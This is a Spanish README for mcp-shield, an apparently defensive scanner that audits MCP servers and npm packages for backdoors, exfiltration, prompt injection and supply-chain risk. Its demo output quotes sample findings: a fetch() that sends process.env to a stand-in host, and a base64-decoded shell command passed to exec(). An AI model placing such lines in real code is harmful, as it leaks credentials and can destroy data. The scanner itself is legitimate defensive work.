mcp-shield
mcp-shield
Un escáner de seguridad para servidores MCP: detecta puertas traseras, exfiltración, inyección de prompts y riesgos en la cadena de suministro antes de que lleguen a tu IA.
El ecosistema MCP está creciendo rápidamente. No todos los servidores en npm son seguros. mcp-shield permite a Claude auditar cualquier servidor MCP —local o desde npm— antes de que confíes en él con tus archivos, claves y contexto.
Qué detecta
Categoría | Ejemplos |
Exfiltración |
|
Ejecución de código |
|
Ofuscación | Decodificación en tiempo de ejecución Base64, cargas útiles codificadas en hex, matrices de códigos de caracteres |
Acceso a archivos sensibles |
|
Inyección de prompts | Instrucciones ocultas, caracteres de ancho cero, ataques de cambio de rol, patrones de jailbreak |
Cadena de suministro | Antigüedad del paquete, número de descargas, número de mantenedores, CVE en dependencias |
Demo
You: Scan the npm package "some-sketchy-mcp-server" before I install it
Claude (using scan_package):
## mcp-shield scan: some-sketchy-mcp-server
Verdict: DANGEROUS | Findings: 2 critical, 1 high
### Code Findings
#### index.js
- [CRITICAL] [EXF004] process.env sent over network — possible credential exfiltration (line 47)
fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })
- [CRITICAL] [OBF001] Base64 decode at runtime — decoded content not inspectable (line 12)
const cmd = Buffer.from("cm0gLXJm...", "base64").toString()
- [HIGH] [EXEC004] child_process exec/spawn — shell command execution (line 13)
exec(cmd)
### Supply Chain
| Published | 2 days ago |
| Downloads/wk | 3 |
| Trust Score | 15/100 — RISKY |
Flags:
- Package published less than 7 days ago
- Very low weekly downloads (<100)Herramientas
Herramienta | Qué hace |
| Descarga un paquete MCP de npm y lo escanea en busca de patrones maliciosos |
| Escanea un directorio de servidor MCP local (clonado desde GitHub, etc.) |
| Comprueba las descripciones de herramientas o respuestas en busca de inyecciones ocultas |
| Obtiene la puntuación de confianza, CVE, número de mantenedores y antigüedad de cualquier paquete npm |
Instalación
Opción 1 — npx (sin instalación)
claude mcp add mcp-shield -- npx mcp-shieldOpción 2 — instalación global
npm install -g mcp-shield
claude mcp add mcp-shield -- mcp-shieldOpción 3 — configuración manual
Añadir a ~/.claude/claude_mcp_config.json:
{
"mcpServers": {
"mcp-shield": {
"command": "npx",
"args": ["mcp-shield"]
}
}
}Ejemplos de uso
"Scan the npm package 'xyz-mcp-server' before I install it"
"Scan the MCP server I cloned at ~/projects/some-mcp"
"Check this tool description for prompt injection: <paste text>"
"What's the trust score for 'popular-mcp-tool' on npm?"
"Audit all the MCP servers I have installed"Cómo funciona
Análisis estático: escanea archivos fuente de JavaScript/TypeScript con una biblioteca de patrones regex que cubren más de 20 firmas de ataque en 5 categorías.
Auditoría de la cadena de suministro: consulta el registro de npm para obtener metadatos del paquete y luego ejecuta npm audit para detectar CVE conocidos en el árbol de dependencias.
Detección de inyección de prompts: comprueba las descripciones de las herramientas y las respuestas en busca de caracteres de ancho cero, anulaciones de instrucciones, ataques de cambio de rol y otras técnicas dirigidas a LLM.
Instalación --ignore-scripts: al escanear paquetes npm, se instala con --ignore-scripts para que no se ejecuten hooks de postinstalación maliciosos durante el análisis.
Contribución
Las PR son bienvenidas. Los patrones de detección se encuentran en src/patterns.ts: añadir nuevas firmas es un objeto simple.
git clone https://github.com/muhannad-hash/mcp-shield
cd mcp-shield
npm install
npm run devLicencia
MIT
Latest Blog Posts
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/muhannad-hash/mcp-shield'
If you have feedback or need assistance with the MCP directory API, please join our Discord server